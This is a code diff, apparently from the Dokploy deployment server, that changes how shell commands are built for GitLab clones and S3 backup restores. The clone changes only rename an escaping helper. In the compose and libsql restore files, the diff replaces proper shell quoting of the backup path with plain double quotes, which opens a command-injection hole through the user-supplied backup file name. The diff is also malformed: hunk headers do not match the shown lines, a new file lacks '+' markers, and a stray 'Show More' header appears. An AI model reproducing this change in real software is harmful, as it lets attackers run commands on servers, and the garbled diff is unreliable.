@@ -152,8 +152,8 @@ export const cloneGitlabRepository = async ({
 	command += `mkdir -p ${outputPath};`;
 	const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
 	const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
-	command += `echo ${quote([`Cloning Repo ${repoClone} to ${outputPath}: ✅`])};`;
+	command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
-	command += `git clone --branch ${quote([String(gitlabBranch ?? "")])} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${quote([String(cloneUrl ?? "")])} ${quote([String(outputPath ?? "")])} --progress;`;
+	command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
 	return command;
 };
--- a/packages/server/src/utils/providers/utils.ts
+++ b/packages/server/src/utils/providers/utils.ts
@@ -0,0 +1,6 @@
 import { quote } from "shell-quote";
 // Escapes a value so it is safe to interpolate as a single argument into a
 // /bin/sh -c command string (local execAsync and remote SSH execAsyncRemote).
 export const shellWord = (value: string | number | null | undefined): string =>
 	quote([String(value ?? "")]);
--- a/packages/server/src/utils/restore/compose.ts
+++ b/packages/server/src/utils/restore/compose.ts
@@ -1,7 +1,6 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Compose } from "@dokploy/server/services/compose";
 import type { Destination } from "@dokploy/server/services/destination";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -27,10 +26,10 @@ export const restoreComposeBackup = async (
 		const rcloneFlags = getS3Credentials(destination);
 		const bucketPath = `:s3:${destination.bucket}`;
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
-		let rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])} | gunzip`;
+		let rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}" | gunzip`;
 		if (backupInput.metadata?.mongo) {
-			rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} ${quote([backupPath])}`;
+			rcloneCommand = `rclone copy ${rcloneFlags.join(" ")} "${backupPath}"`;
 		}
 		let credentials: DatabaseCredentials = {};
--- a/packages/server/src/utils/restore/libsql.ts
+++ b/packages/server/src/utils/restore/libsql.ts
@@ -1,7 +1,6 @@
 import type { apiRestoreBackup } from "@dokploy/server/db/schema";
 import type { Destination } from "@dokploy/server/services/destination";
 import type { Libsql } from "@dokploy/server/services/libsql";
 import { quote } from "shell-quote";
 import type { z } from "zod";
 import { getS3Credentials, getServiceContainerCommand } from "../backups/utils";
 import { execAsync, execAsyncRemote } from "../process/execAsync";
@@ -20,7 +19,7 @@ export const restoreLibsqlBackup = async (
 		const backupPath = `${bucketPath}/${backupInput.backupFile}`;
-		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} ${quote([backupPath])}`;
+		const rcloneCommand = `rclone cat ${rcloneFlags.join(" ")} "${backupPath}"`;
 		const containerSearch = getServiceContainerCommand(appName);
 		const restoreCommand = `docker exec -i $CONTAINER_ID sh -c "tar xzf - -C /var/lib/sqld"`;
--- a/Show More
+++ b/Show More